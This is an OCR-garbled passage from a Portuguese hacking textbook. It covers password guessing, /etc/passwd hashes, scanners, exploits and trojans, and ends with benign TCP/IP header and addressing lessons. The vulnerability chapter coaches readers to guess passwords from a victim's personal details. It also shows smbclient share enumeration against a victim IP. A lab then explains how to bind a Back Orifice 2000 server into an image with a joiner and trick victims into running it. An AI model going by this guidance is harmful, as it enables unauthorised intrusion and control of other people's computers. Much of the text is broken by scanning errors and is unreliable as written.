se encontra. Livros como Que nome darei ao meu fIlho? ajudam muito nessa
hora, e conseguir edies desses livros em diversas lnguas um refInamento
importante da tcnica. Procurar na lista telefnica ou em sua agenda comercial
por nomes e anotaes de outras pessoa~ tambm uma boa idia.
1137 I
I
Vulnerabilidades
I Universidade
H4CK3R I
Sempre tendo em mente que saber o login correto da vtima mais que meio
caminho andado, aqui vo as sugestes para aplicar como senha nesse login:
1. Sempre tente todos os nomes e sobrenomes da vtima, um por vez. Se o
login o primeiro nome, ou uma combinao de nomes, h muitas chances de
que a senha seja algum dos outros nomes, seguidos ou no de nmeros
seqenciais ou letras. _A,_B, _C ou -XYZ tambm so SufIXOScomuns (em maisculas ou minsculas).
2. Se disponveis, tente as palavras conseguidas por engenharia social: namorada/
esposa, filhos, carro, passatempo, posies sexuais, nomes dos chefes... Em seguida,
tente os nomes prprios mais comuns copiados da agenda ou da lista telefnica.
3. Tambm uma boa idia tentar algo relativo ao sistema que est sendo
invadido. Se a mquina em questo a nica que possui AutoCAD em toda a
empresa, tente as senhas acad, autodesk, autocad ou cadcad. Se estiver em um
terminal de mainframes IBM, tente ibmibm, X3270, bigblue, X25. Em um VAX,
experimente vax, vms, digital ou compaq.
4. Usurios tambm so sensveis ao local onde trabalham. Experimente alguma coisa relativa cidade, bairro ou rua onde a empresa se encontra, o prprio
nome da empresa ou seus produtos mais famosos. Em uma mquina da Telemar,
por exemplo, poderiam ser tentadas as senhas DDDeh31, velox ou interurbano.
s vezes, o funcionrio est desgostoso com a companhia. Sua senha nesses
casos costuma ser ou uma palavra de baixo calo ou algum produto da concorrncia (exemplo: um funcionrio da Conectiva possui a senha windowsxp).
5. Por ltimo, deve-se, separadamente, tentar suas listas de palavras e senhas
comuns. Nunca use listas com mais de cem palavras, pois voc ficaria exposto
demais e facilmente detectvel, alm de modularizar e especializar o ataque.
Um procedimento importante ao elaborar suas listas de palavras tentar pensar da mesma maneira que o usurio. Caso ele fuja das combinaes comuns
(nome da esposa, ftlhos, etc.), sua senha ser o que primeiro lhe vier cabea,
ou o nome de algum objeto que est em sua escrivaninha.
No CD h diversos programas para brute force, a maioria com possibilidade
de se usar em tanto dicionrios quanto combinaes seqenciais. No vamos
recomendar nenhum aqui: teste-os e tire suas prprias concluses.
Unix ou Windows NT/2k/XP e capturou o arquivo de senhas do sistema.Obviamente essas senhas esto criptografadas, portanto, o arquivo pouco lhe ser til
se no fosse uma outra classe de programas que todo cracker deve ter: os
quebradores de senhas.
Na maioria das vezes, invade-se o sistema por algum descuido do administrador, mas com um usurio cujos poderes so muito limitados. Roubando-se o arquivo de senhas, possvel entrar nas reas privativas dos outros usurios (den-
138
Vulnerabilidades
Ir
Universidade 1ano
]Vulnerabilidades
I Universidade
H4CK3R I
500: 500:Pai
Da esquerda para a direita, separados por dois pontos, temos: nome de login,
hash da senha, ID do usurio, ID do grupo a que ele pertence (tanto no WinNT
quanto no Unix os usurios so organizados em grupos), nome completo do
usurio (este o antigo G-COS field), localizao do diretrio pessoal (home)
do usurio e shell de login. Observe o hash. muito mais complexo que o do
WinNT. No h como o hacker descriptografar a senha porque ela "s de ida".
A chave de criptografia aplicada quando o usurio cadastra a senha, ficando o
resultado do hashing guardado no arquivo passwd.A chave, sendo de "mo nica", s pode ser descoberta por brute force. Quando o usurio Ioga-se no sistema, a senha do arquivo passwd no decifrada. Ao contrrio, a senha que ele
fornece durante o login criptografada novamente e comparada com a que
est gravada no arquivo. Se ambas "baterem", o usurio tem acesso ao sistema.
Uma das caractersticas interessantes que nenhum algoritmo de criptografia
gera um hash que contenha o caractere "*". Por isso mesmo, colocar um
caractere desses no lugar da senha impede o login por aquela conta.
A abordagem /etc/passwd tem um problema. Todos os usurios devem poder ler do arquivo, pois suas informaes vitais (UlD, GID, home e shell) esto
nele. Isso quer dizer que os hashes de todos os usurios ficam desprotegidos e
qualquer lammer com uma conta no sistema pode querer rodar um quebrador
de senhas neles. Mesmo sendo difcil de quebrar, um arquivo que pode ser lido
por todo mundo tambm pode ser copiado em disquete, levado para casa e
quebrado sossegadamente por uma mquina comum, sem que ningum saiba.
Para resolver esse problema, a maioria dos Unices de hoje utiliza o
sombreamento de senhas ou shadow passwords. O shadow um arquivo com
permisso de leitura apenas para o root. No /etc/passwd, no lugar da senha,
temos um "*,, ou "x" para indicar que a senha est no arquivo shadow. Esta tcnica sozinha torna impossvel conseguir, como usurio normal, as senhas de outros usurios. E, como sabemos, na maioria dos ataques temos de conseguir
acesso restrito primeiro para depois tentar acesso irrestrito. Um nico expediente coloca dois nveis de dificuldade a mais no caminho do cracker.
O quebrador de senha mais conhecido para a famlia WinNT o LOphtCrack,
uma ferramenta de uso muito fcil e capaz de quebrar os fracos hashes do
Windows em pouco tempo. Atualmente est disponvel apenas em verso comercial custando US$ 350, mas pode-se conseguir o cdigo-fonte de uma ver140
Vulnerabilidades I [
Universidade 1ano
Scanners
Scanners so programas utilizados para varrer os computadores em uma rede
procura de vulnerabilidades. H portas abertas a ataques tanto em mquinas
pessoais quanto em servidores de todos os tamanhos. Os scanners buscam sistemas que estejam desprotegidos e prontos para receber uma anlise minuciosa
sobre sua segurana. A maioria dos scanners no foi desenvolvida com inteno
de uso maligno. Mas como a rosa bonita e perfumada tambm possui espinhos,
so utilizados pelos dois lados: os hackers os utilizam para o ataque, enquanto os
administradores procuram as brechas para fazer as devidas correes.
Existem scanners especficos, desenvolvidos por empresas, que do nfase
segurana e que geralmente custam caro. Como um cracker no respeita nada,
fatalmente tais scanners cairo em suas mos. Outros so criados por hackers
mais experientes. Enquanto a vulnerabilidade que esses scanners exploram for
segredo de cls, poucos tero acesso a eles. Depois que ficam obsoletos, so
postos na rede para que os script kiddies possam fazer uso. Por isso, bom
lembrar que scanners encontrados facilmente na Internet podem no ser mais
to eficientes ou so mesmo completamente inteis.
Podemos dividir os scanners em dois tipos: o scanner de portas TCPjIP abertas (ou portscanner) e o scanner de vulnerabilidades conhecidas.
Portscanners
Toda mquina com conectividade TCPjIP possui, em teoria, mais de 128 mil
pontos vulnerveis. Cada servio de rede que estiver disponvel em uma determinada mquina uma porta de entrada em potencial - como vimos no captu1141
] Vulnerabilidades
I Universidade
H4CK3R ,
PSH (push)
Um tipo de "vlvula de descarga", acelera a transmisso para poder finaliz-Ia
SYN (synchronize)
Tentativa de sincronizao entre portas
ACK(acknowledge) - Indica que os pacotes anteriores foram aceitos no destino
RST (reset) - Interrompe a conexo,devido aerros ou "queda de linha"
FIN (finish) - Finalizadorde conexo, usado no fim da transmisso (no h mais dados)
URG (urgent)
- Sinalizador de urgnda
1
Vulnerabilidades
Ir
Universidade
1ano
As portas 21,22,25 e 110 podem estar abertas para uma possvel invaso,
podem estar sob a vigilncia de um administrador e podem realmente ser seguras. A porta 110 oferece o servio POP3. por onde voc se conecta para
baixar seus e-mails. Ora, essa porta TEM de estar aberta (nos servidores de email, obviamente), de outra forma ningum poderia ler correspondncia eletrnica. Portas abertas no so sinnimo de insegurana. O problema so as portas
aberta, cujos programas que as "escutam" possuem falhas de segurana.
1143
I
Vulnerabilidades
I Universidade
H4CK3R I
o portscanner
Scanner de vulnerabilidade
Ns utilizamos os portscans para verificar os servios ativos em um dado sistema. Uma vez determinados esses servios, entra em cena um outro tipo de
scanner: o de vulnerabilidades. Basicamente, a idia do scanner de vulnerabilidade
, atravs de uma lista de falhas conhecidas, checar se o sistema est ou no
executando um servio com problemas. Estes scanners facilitam sobremaneira
o trabalho do invasor, automatizando o processo de conexo a cada um dos
servios listados pelo portscan e a verificao de fraquezas. Sendo automtico,
poupa ao invasor dias de trabalho, pois pode checar sozinho dezenas ou mesmo
centenas de vulnerabilidades sem a interveno do black-hat.
Um bom scanner de vulnerabilidade deve verificar os seguintes itens:
~ Erros comuns de configurao: administradores de sistema inaptos e
usurios leigos deixam, por incompetncia, vrias portas abertas e fraquezas
desprotegidas em seus sistemas.
~ Configuraes e senhas-padro: no h nada de que um hacker goste
mais do que um administrador de sistemas que instala softwares e os deixa
com as configuraes de fbrica. Ri-se de babar ao perceber servidores com
usurios e senhas-padro (do tipo usurio: root senha:root ou usurio:admin
senha:master) ou com diversos servios inseguros desnecessariamente ativados.
~ Combinaes bvias de usurio e senha: outro problema so as senhas
bvias. Usurios comuns j possuem a tendncia de colocar uma senha fcil de
lembrar (o nome da esposa, por exemplo). A situao piora quando usam combinaes de nomes notoriamente pblicos. Exemplos de pares usurio/senha
fracos: fabio/junior, wanderley!luxemburgo, alice/cooper, carla/perez, george/
walkerbush. Outro problema so senhas de palavras do dicionrio: h
quebradores de senha com listas de palavras comuns. Um estudo feito em 1998
por uma empresa norte-americana mostrou que 82% dos funcionrios utilizavam, como senha, alguma posio sexual ou o nome do chefe modificado de
forma pejorativa.
~ Vulnerabilidades
divulgadas: sempre que uma falha de segurana
divulgada, h uma corrida dos desenvolvedores de software para san-Ias. Mas
tambm h uma outra competio: a dos hackers que querem chegar aos sistemas vulnerveis antes de serem consertados.
Um scanner de vulnerabilidades pode, por exemplo, descobrir que sua verso
11441
Vulnerabilidades I [
Universidade 1 ano
Exploits
Exploits so scripts e programas designados
para explorao
de
vulnerabilidades em sistemas. Assim como os scanners, eles podem ser usados
tanto por administradores para testar as falhas de segurana em seus servidores
quanto pelos hackers que os utilizam para invaso e aquisio de informaes.
H vrios tipos de exploits e cada um possui uma forma diversa de aplicao.
Para alguns deles o hacker precisa ter acesso ao Shell da mquina-alvo. Isso
pode ser conseguido por meio de um cavalo de tria executado pela vtima em
seu sistema. Tal trojan abre uma porta de comunicao (sim, uma porta TCP/lP,
com nmero determinado e um protocolo) e permite que o invasor tenha total
controle sobre a mquina, o que inclui instalao de programas e, portanto, a
aplicao de qualquer exploit. Note que, neste caso, j houve uma pequena
invaso: o exploit permite quebrar outros nveis de segurana e, assim, obter um
acesso mais profundo.
Outros exploits servem justamente para conseguir o acesso a um shell e podem ser aplicados atravs de um site que contenha um cdigo malicioso escondido. E-mails em formato HTMLtambm so vetores desse tipo de cdigo. Normalmente, o que esses exploits fazem gerar um estouro de pilha (buffer
overflow) e, com isso, confundir a mquina-alvo, fazendo-a abortar o programa em execuo e devolver uma linha de comando. E, por ora, basta saber que
todos os programas possuem uma rea de memria (ou buffer) para trocar
dados com outros programas ou para interagir com o usurio. Essa rea de
memria tem um tamanho limitado, e programas mal escritos comportam-se
de forma estranha toda vez que o buffer fica cheio. O prximo dado que
tentar entrar no buffer e no conseguir gerar instabilidades no programa e
poder paralis-Io.
Um exemplo prtico: descobre-se no endereo vitima.com.br (ateno lammers:
o endereo fictcio) um sistema Unix rodando uma verso vulnervel do BIND,
um servidor de DNS. Um exploit para essa verso de BIND chamado bindxplt
encontrado no site Rootshell, que permite a execuo de comandos arbitrrios
pelo daemon no caractere seguinte ao ltimo que cabia no buffer. Lembrando que
ele s roda com privilgios de root, executa-se, na mquina do hacker, o comando:
1145
1
Vulnerabilidades
I Universidade
H4CK3R
www.cert.org
www.insecure.org
www.rootshell.com
www.securityfocus.com
www.packetstormsecurity.org
www.linuxsecurity.com
www.linuxsecurity.com.br
www.hackersplayground.org
www.ntsecurity.nu
www.antionline.com
www.digitalsin.net/cyn/sinfinite
www.cexx.org
www.hackinthebox.org
astalavista. box. sk
146
Vulnerabilidades I [
Universidade 1 ano
A difuso desse tipo de programa d-se por contgio. Os trojans, em sua maioria,
so desenvolvidos e distribudos como vrus, anexados em mensagens de e-mail
ou em disquetes promscuos, e muitas vezes so escondidos em arquivos inocentes, como imagens, apresentaes em Flash e joguinhos. Depois que a prpria vtima instalou o trojan, o computador infectado comea a funcionar como
um servidor. Se h um servidor, h um cliente para se conectar, que est em
poder do hacker.A conexo praticamente imperceptvel para o usurio leigo,
que, ao se conectar Internet, est sujeito ao ataque.
Dois dos trojans mais prticos da atualidade so o Netbus e o Back Orifice.
Ambos ocupam pouco espao em disco (o BO tem apenas 120 KB) e podem
passar despercebidos, pois h a possibilidade de camuflar o executvel escondendo-o em outro programa ou arquivo. Aps a instalao, o trojan apaga seus
rastros e torna-se ativo, aguardando apenas que algum se conecte ao computador infectado. Como qualquer outro trojan, o BO e o Netbus so constitudos de
dois arquivos: o cliente e o servidor. Um dos principais problemas de ambos
que os servidores esto restritos famlia Windows 9.x, embora existam clientes
BO para Windows e Unix.
Entre as funes comuns a ambos, podemos destacar:
~ Fornecer um shell para o cliente com acesso irrestrito;
~ Controlar todos os dispositivos de hardware da mquina;
~ Gravar uma imagem da tela do computador invadido;
~ Fazer exames da rede, podendo obter senhas e outras informaes;
~ Gravar um arquivo contendo informaes sobre tudo que foi teclado no micro;
~ Possibilitar a abertura de janelas DOS remotamente.
O BO e o Netbus so dois trojans muito visados. Todos os antivrus consideram-nos como ameaa e impedem que sejam instalados no computador-destino. Alis, um bom programa antivtrUs barra mais de 90% dos trojans conhecidos. Obviamente h muitos outros por a que nunca conhecero outro mestre
alm de seu criador e, portanto, sero imunes maioria dos antivrus. Todo
cuidado nesses casos pouco.
Ambos esto includos no CD, e recomendamos que nossa rede simples (Laboratrio de Redes I) seja usada para test-Ios. Leia a documentao de ambos,
familiarize-se com eles e tente controlar outras mquinas.
A criao de bons scanners e exploits demanda conhecimentos em programao e TCP/IP.Para consegui-Ios, a anlise de cdigos alheios um bom ponto de
partida. Nos CDs, h diversos exemplos em cdigo-fonte de scanners, exploits
e cavalos de tria. Dessenferruje seus conhecimentos em Delphy /Kylix, PerI ou
C/C++ e v em frente. No perodo de dois ou trs meses ser possvel escrever
seu prprio scanner em sua linguagem favorita.
11471
] Vulnerabilidades
I Universidade
H4CK3R I
148
Vulnerabilidades I [
Universidade 1 ano
J171:3
~!iona:;'
do pacote
$ smbclient -L IP.DA.VTIMA.AQUI
Provavelmente sero pedidas senhas para mostrar os compartilhamentos.
Novamente deve-se recorrer aos quebradores brute force para descobrir as senhas.
11491
I
Vulnerabilidades
I Universidade
H4CK3R I
Se a interface grfica KDE 3 estiver disponvel, pode-se usar o Konqueror. Escreva na barra de endereos o IP da vtima da seguinte forma: smb:/ /
IP.DA.VTIMA.AQUI/.
OS compartilhamentos devem ser exibidos.
Uma curiosidade sobre esse
IJiJIIilIiI
furo de segurana que originalli!
mente ele no existia! O ProtocoJ
lo NetBEUI (antecessor do 5MB/
CIFS) permitia
o compartilhamento de arquivos nas redes
LAN Manager, Windows for
I/oc jUeasa fornece!
Workgroups e nos primeiros
um usurio e uma
I!I!n".
Wmdows NT.S que o NetBEUI
no era rotevel e, portanto, era
impossvel que grandes redes IP
[mbert<>
tivessem conectividade total por
Senha;
meio dele. Para resolver isso, a
Microsoft estendeu a imp1ementao do NetBEUI. Batizada
de 5MB, a nova tecnologia permitia o "empacotamento" dos
pacotes NetBEUI no protocolo
TCP/IP.A conexo entre as mquinas era feita pelas portas 137 e 139.
Entretanto, "tunelar" o NetBEUI pelo IP permitia que o pacote fosse rotevel
no s pela rede corporativa mas tambm pela Internet. Nesses casos, h duas
opes para as empresas: isolar completamente a rede interna da Internet ou
no compartilhar nada, nunca. J os usurios domsticos normalmente no tm
o que compartilhar (pois no pertencem a rede alguma) e devem manter esse
recurso desligado.
,1713iR<>bet1!
f\ume
dI> 1tW<\1iU:
150
Vulnerabilidades
Ir
Universidade 1 ano
Laboratrio de
Vulnerabilidades
A principal finalidade dos laboratrios a prtica de alguns procedimentos considerados essenciais para a rotina do hacker.Administradores de sistema devem observlos cuidadosamente, pois devem estar sempre atentos s tcnicas usadas em invases.
Nesse primeiro laboratrio, vamos manter nosso foco na invaso de micros
domsticos - sim, sim, coisa de lammer. Mas temos de comear de alguma forma,
no acha? E qual seria a melhor maneira para atingir esse objetivo? A resposta
est entre artimanhas mais antigas conhecidas pelo homem: O Cavalo de Tria!
Exatamente isso! Como na histria, um presente usado como artificio para a
invaso. Vamos utilizar o mtodo clssico de envio de trojans para as vtimas. Na
verdade, precisaremos de trs arquivos para cumprir a tarefa: o servidor, que vai
controlar o computador invadido, um programa joiner (usado para unir arquivos) e o cliente, instalado na mquina do hacker, para controlar o servidor.
Utilizaremos o Back Orifice 2000, a novssima verso de um dos trojans mais
utilizados no mundo. Como j foi comentado anteriormente o programa dividido basicamente em duas partes: cliente e servidor. Para instalar o servidor,
necessrio que a vtima rode o executvel em seu computador sem perceber o
que est fazendo. Mas como isso possvel? Simples, vamos utilizar um pequeno truque de engenharia social: faremos uso da curiosidade. Em nosso exemplo,
uma imagem carregando o servidor do B02k em suas entranhas.
Para camuflar nosso agente, empregaremos o ]oiner, um pequeno programa que
1151 I
1
Vulnerabilidades
I Universidade
H4CK3R I
Configurando o servidor
o servidor do BO precisa ser preparado antes da infeco, pois depende de
plug-ins para cada uma das "maldades" a serem feitas. Outro detalhe: necessrio informar ao programa como se comunicar com o hacker.As opes so: por
e-mail, IRC e mesmo ICQ.
GJ:q.<:1
A configurao simples. Rode o B02K !:B02K Smer ConHgurat;on ..
jij
Configurator. Na tela que se apresenta,
preencha seus dados, a porta na qual o
servidor deve "escutar" e a forma como
ele deve contact-Io para informar que est
on-line. H vrias opes, entre elas ICQ,
IRC e mesmo e-mail. Existe ainda a P ossi- Ia
bilidade de defInir senhas para a conexo,
impedindo assim que outros hackers usem
o seu BO. Nada que um brute force no
resolva, entretanto.
FiI,T""',,
TCPIO
UDPIO
Buili',
Juntando
as coisas
1
Vulnerabilidades
I[
Universidade 1ano
Finalizado esse processo, voc obter um arquivo hbrido que poder ser instalado em qualquer mquina. Algo assim:
I@]
~-I@]
~
~
'EEP.WAV
INmWAV
JOINEA1
Iml,"D""m'nl
]9KB
lEI
JOINER.EXE
"""
Consideraces finais
E bvio que,
Aconselhamos
"brincar" com
computadores,
tos e descubra
1153 I
] Vulnerabilidades
Universidade 2 Ano:
O caminho de um Voyager
Reei
II
Captulo
'Minha terra tem campos de futebol onde cadveres
amanhecem emborcados pra atrapalhar os jogos. Tem
uma pedrinha cor-de-bile que faz 'tuim' na cabea da
gente. Tem tambm muros de bloco (sem pintura,
c/aro, que tinta a maior frescura quando falta mistura/,
onde pousam cacos de vIdropra espantar malaco.
Minha terra tem HK,ARl5, M21, 45 e 38 (na minha terra,
32 uma piada/. As sirenes que aqui apitam, apitam de
repente e sem hora marcada. Elas no so mais as das
fbricas, que fecharam. So mesmo dos cambures,
que vm fazer aleijados, trazer tranqilidade e aflio ':
Quinze cenas
de descobrimento
de Brasis, 1999,
Fernando
Bonassi
I Universidade
H4CK3R I
TCP!IP: O incio
No captulo anterior sobre redes, tratamos dos aspectos mais bsicos e desenvolvemos um breve estudo sobre alguns dos protocolos mais utilizados.
Tal estudo serviu para que pudssemos, posteriormente, conhecer algumas tcnicas e procedimentos simples de invaso e fazer experimentos com algumas
ferramentas. Com o conjunto de informaes dos captulos Redes I e
Vulnerabilidades I, adicionado a um pouco de pesquisa nos sites e livros indicados, qualquer um j pode considerar-se um script kiddie e levar a cabo a maioria dos procedimentos simples de "owning" de computadores domsticos.
Agora a conversa um pouco diferente. Veremos mais adiante (em
Vulnerabilidades 11 e, posteriormente, nos captulos finais) mtodos mais
complexos de ataque a sites, empresas e redes remotas, todos por intermdio
da Internet. Como a Grande Rede baseada na famlia de protocolos TCP/lP
(ou seria o contrrio? O TCP/lP foi criado por causa da Internet, afinal de
contas...), ser ela a vedete desta parte do livro.
Mas seremos "malvados" com o TCP/lP. A maioria dos livros mostra o protocolo de forma acadmica e bem-comportada. Em nossos estudos, veremos como
podemos desfigurar, fraturar e abusar dele: um verdadeiro estupro digital! A
palavra forte, mas ver o estimado leitor que se aplica perfeitamente ao contexto em que empregada. Para os hackers, a tecnologia est a para ser estendida. Ou deturpada...
Este captulo nunca substituir qualquer um dos excelentes livros e artigos
especialmente escritos para revelar todos os meandros e facetas do protocolo
TCP/lP e sua utilizao prtica. Esperamos, pelo menos, que sirva como uma
introduo para esses recursos. Aps a leitura deste livro, recomendamos ao
leitor que se aprofunde no estudo desse protocolo e das tecnologias de rede
baseadas nele. Alm dos livros de Andrew Tannembaum e do Prof. Gabriel Torres (ambos chamados Redes de Computadores), j citados vrias vezes no decorrer do livro, recomendamos as seguintes publicaes:
~ Projeto e Arquitetura de Redes, de J.F.Dimarzio;
~ Intemetworking
com TCP/IP, de Doug Comer;
~ Aprenda TCP/IP em 14 dias, de Tim Parker;
~ Administrao de redes TCP/IP, de Craig Hunt;
~ TCP/IP Illustrated, volume 1, de w: Richard Stevens.
Na Internet, h excelentes recursos em portugus disponibilizados por pesquisadores de universidades brasileiras, empresas do setor e sites especializados.
Alguns bons trabalhos sobre redes e TCP/lP que recomendamos:
~ Apostila TCP/IP de CCUEC (www.dicas-l.unicamp.br/freinamentos/tcpip);
~ Notas de Aula TCP/IP, de Ricardo Ueda, Instituto de Matemtica e Estatstica da USP (www.ime.usp.br/-ueda/ldoc/notastcp.html).
1158
1
Redes II [
Universidade 2 Ano
E, em ingls, recomendamos:
~ TCP/IP Tutorial
and Technical
Overview,
IBM Red Books
(publib-b. boulder.ibm.com/redbooks.nsf/portals/N
etworking );
~ Netscape Open Directory (dmoz.org/Computers/Internet/Protocols).
H ainda na Internet, diversos grupos de discusso sobre redes. Dois dos
grupos, que os autores no s recomendam como tambm participam, so o
Dicas-L, hospedado na Unicamp (www.dicas-l.unicamp.br)
e mantido pelo
competentssimo Rubens Queiroz de Almeida, e o Redes-L, hospedado e mantido pela FAPESP (listas.ansp.br/mailman/listinfo/redes-l).
Por ltimo, sabemos que no Brasil existem diversas publicaes voltadas para
o usurio de informtica e o administrador de redes. Uma lista delas, tambm
prestigiadas pelos autores, :
~ In/o Exame
~ Revista do Linux
~ H4CK3R
~ Geek
~ PC Brasil
I Universidade H4CK3R I
Exemplo de aplicao
Aplicao
Apresentao
Sesso
Remote Procedure
TCP/UDP
Transporte
TCP/UDP
IP
Rede
IP/ICMP
Ethernet
Conexo
Ethernet
Fsica
Fsica
Na prtica
Aplicao
(XDR)
Calls (RPC)
Protocolo IP
o burro de carga da pilha TCP/lP o protocolo IP. atravs de pacotes IP
(ou seja, quadros de dados montados segundo o protocolo IP) que as mensagens das aplicaes sero transportadas entre as diferentes redes. O protocolo
tambm defllle como ser o esquema de endereamento para que cada mquina tenha um identificador nico em todas as redes. Tal endereamento
implementado com nmeros IP: um grupo de 32 bits, divididos em quatro grupos de oito (ou seja, quatro bytes) e que obedecem ao deflllido no protocolo IP.
Atente, portanto, para o fato de que protocolo IP,nmero IP e pacote IP no
so a mesma coisa!
Neste livro, falaremos exclusivamente de pacotes IP da verso 4, conhecido
como IPv4. As exigncias da Internet atualmente (notadamente desempenho,
segurana e principalmente indisponibilidade de nmeros IPv4) levaram ao
desenvolvimento de um novo protocolo chamado IPv6, que est sendo utilizado na Internet 2.
1160
1
Redes 11r
Universidade 2 Ano
o pacote IP
As informaes vindas das camadas superiores (em nosso caso, TCP e UDP)
devem ser inseridas em um pacote de dados para que sejam transmitidas segundo os procedimentos definidos no protocolo IP. Esse pacote montado
segundo um modelo tambm defInido no protocolo chamado de Datagrama IP.
Um datagrama IP uma seqncia serial de bytes, dos quais os 20 primeiros
compem o chamado cabealho IP.A aluso a telegramas no cacofonia: um
datagrama parece-se realmente com seu colega de "carne e osso" (ou antes, de
papel e tinta):
TOS(8)
Verso(4) I IHL(4) I
Identificao(16)
TTL(8)
I Protocolo(8)
Tamanho TotaL(16)
Fragment Offset(13)
Flags(3)
Nmero de Verificao(16)
Endereo IP de origem(32)
Endereo IP de destino(32)
Opes (se houver)
Enchimento
Dados
] Redes 11
I Universidade
H4CK3R I
1162 I
Redes
11[
Universidade 2 Ano
Esse comando analisa todos os pacotes que entram e saem da mquina. Voc
pode observar que o prprio tcpdump decodificou algumas coisas: hora em
que o pacote passou pela interface (5h39), endereos de origem (192.168.1.11)
e destino (213.61.48.245) e alguns flags de controle.
Logo abaixo, em notao hexadecimal, esto os bytes correspondentes ao
pacote IP completo. Cada algarismo representa 4 bits.
Poderamos
utilizar, em vez do tcpdump,
o programa
Ethereal
(www.ethereal.com). que tem verses para Windows e Unix e uma bonita e
funcional interface grfica. Os autores recomendam o excelente Ethereal para
diagnosticar praticamente todos os problemas envolvendo desempenho e erros em redes de computadores. Para o propsito deste exemplo, entretanto, a
sada do tcpdump vai servir.
Penteando um pouco, vemos que o primeiro dgito tem o valor 4, ou seja,
0100. Estamos falando, portanto, de um pacote IPv4. O segundo dgito 5, o
que indica que nosso pacote IP possui um cabealho com cinco linhas de 32
bits (ou seja, 20 bytes ou ainda 40 algarismos de nosso cabealho).
Opa! J sabemos quanto temos de cabealho. Separando-o, temos:
4500 0034 3779 4000 4006 3b65 cOaS OlOb d53d 30f5
Escovando os bits mais um pouquinho, podemos observar que:
~ Verso: 4
~ IHL: 5, ou seja, 20 bytes
~ TOS: 00
~ Tamanho total: 0034 ou 52 bytes
~ Identificao: 3779
1163 I
] Redes11
I Universidade
H4CK3R I
~ Flags e frn.gment Offset: 4000. As flags esto setadas como 0100, indicando que o pacote pode ser fragmentado e que no houve, ainda, fragmentao.
Os outros 12 bits esto zerados (no h fragmentao).
~ TIL: 40, ou 64 roteadores. Quando o pacote chegar ao 64 roteador ser
descartado, a no ser que o campo TIL seja reca1culado por algum outro
roteador no meio do caminho.
Endereamento IP
No captulo Redes I, vimos alguns fundamentos sobre numerao IP.Naquela
ocasio, dissemos que um nmero IP contm 4 bytes no formato:
000.000.000.000. Cada byte, sendo um valor de 8 bits, pode obviamente conter
um valor entre O e 255, como, por exemplo, 200.230.168.1. No deve haver
duas mquinas com o mesmo endereo IP em uma mesma rede, pois seria
impossvel rotear os pacotes at o destino correto.
Os nmeros IP identificam a interface de uma mquina qualquer em uma
rede. Mais do que isso, identificam em qual rede o n est conectado caso
vrias redes estejam ligadas entre si. Para ver qual o nmero IP designado para
a sua mquina, abra um terminal ou janela do DOS e d os comandos ifconfig
(no Linux), winipcfg (para a famlia Win9x) e ipconfig (para a famlia WinNT).
No Windows XP Home, este comando no est disponvel, portanto o leitor
dever procurar pelas Propriedades de Rede no Painel de Controle.
Qualquer que seja o comando, a sada ser parecida com esta:
ethO
Encapsulamento
Endereo
de
HW
do
Link:
Ethernet
1164 I
Redes"[
2 Ano
Universidade
Redes e Hosts
o nmero IP pode ser dividido em duas partes que identificam a rede em que
esto conectados e seu endereo nico nessa rede. Por exemplo, no endereo
192.168.1.11, poderamos dizer que 192.168.1 representa a rede e 11 representa o 110 computador ligado a essa rede.
Mas espere a! Onde termina o nmero de rede e onde comea o nmero de
host? Para defInir isso, usamos um novo elemento, a mscara de rede. No endereo do nosso exemplo, a mscara de rede era 255.255.255.0. Para entender
como esse emaranhado de nmeros pode separar alguma coisa, vamos transformar tudo em binrios:
192.168.1.11
255.255.255.0
11000000.10101000.00000001.00001011
11111111.11111111.11111111.00000000
Classe A
7 8
31
End. Host
G End. Rede[
o
7 8
End. Rede
Classe B
o
Classe C
Os
2 3
ITE
31
End. Host
23 24
31
End. Rede
]
End. Host
1165 I
] RedesII
I Universidade
H4CK3R I
Protocolo TCP
O companheiro inseparvel do IP e grande estrela da Internet o protocolo
TCP.Como a maioria dos servios disponveis baseia-se nele, devemos ter uma
noo de como o pacote TCP montado e como se comporta, para entender
como os ataques a esses servios funcionam.
1166 I
Redes
I1[
Universidade 2 Ano
o pacote TCP
Como vimos em Redes I e, rapidamente, no captulo sobre Unix, todos os
servios de Internet que usamos - HTTp, SMTp' POp, ICQ, KaZaA - ficam
"escutando" a rede e esperando por uma conexo para si. Essa conexo d-se
por meio de portas, que so nmeros atribudos aos servios em questo e
dependem do protocolo utilizado.A porta representada por um algarismo de
8 bits, portanto temos 65.563 possveis servios que usem o protocolo TCP
escutando a rede. Um exemplo clssico uma seo de e-mail. Quando se conecta
ao servidor de SMTP pela porta TCP 25, nosso programa preferido (os autores
usam Eudora e KMail) recebe dele uma string assim:
HELO srntp.seudorninio.com.br
MAIL FROM: usuario1@seudorninio.com.br
RCPT TO: destinatario@provedor.com.br
DATA
Date: Mon, 07 Apr 2003 12:16:35 -0500
(EST)
Frorn: ...
Dados
11671
] Redes
II
I Universidade
H4CK3R
6432
<nop,
nop,
192.168.1.11.2819
timestamp
6322874
>
ack
213.61.48.245.80:
1037367659>
357
win
(DF)
4500
0034
3779
4000
4006
d53d
8010
30f5 IOb03
1920
c9b6
0050
0000
785c
0101
3dd4
f96b
3b65
4fcO
080a
cOa8
77aa
0060
010b
ce8b
7aba
tambm
;).
so reveladores:
RedesII I
Universidade 2 Ano
Portas TCP
Diz-se que o TCP um protocolo orientado a conexo. Isso significa que no
importa os caminhos pelos quais o pacote IP ande: para o TCP no existe "mundo l fora". O TCP cria um canal virtual entre a origem e o destino, e esse canal
imune a influncias externas. A alegoria do cano perfeita: o TCP cria um
tubo entre a aplicao origem e a destino, e os dois lados "conversam" por ele.
Quem olhar por uma extremidade no ver roteadores, cabos, IPs, Ethernet,
placas de rede, nada disso. Ver apenas seu companheiro de conexo no outro
lado. Essa conexo s possvel porque existe o conceito de portas.
Vamos divagar um pouco. Voc j deve ter ido a algum bar ou restaurante
onde a cozinha no andar de cima e h elevadores para os diferentes tipos de
itens oferecidos no cardpio. As bebidas no podem trafegar no mesmo elevador dos pratos quentes porque esquentaro. Estes no devem trafegar no mesmo ambiente das saladas, porque as deixaro murchas e possivelmente
engorduradas. Sem falar nas sobremesas. Hipoteticamente, precisamos de, pelo
menos, quatro elevadores2.
Por outro lado, todas as mesas tm, tambm, nmeros. Se voc considerar que
os garons so os pacotes IP, as comandas podem servir como pacotes TCP.
Cada mesa "conecta-se" a um elevador por meio da comanda/TCP. A mesa 26
pode conectar-se ao elevador 4 e esperar uma sobremesa; a mesa 31, ao elevador 3 e esperar aquele Espaguete ao Vngoli.
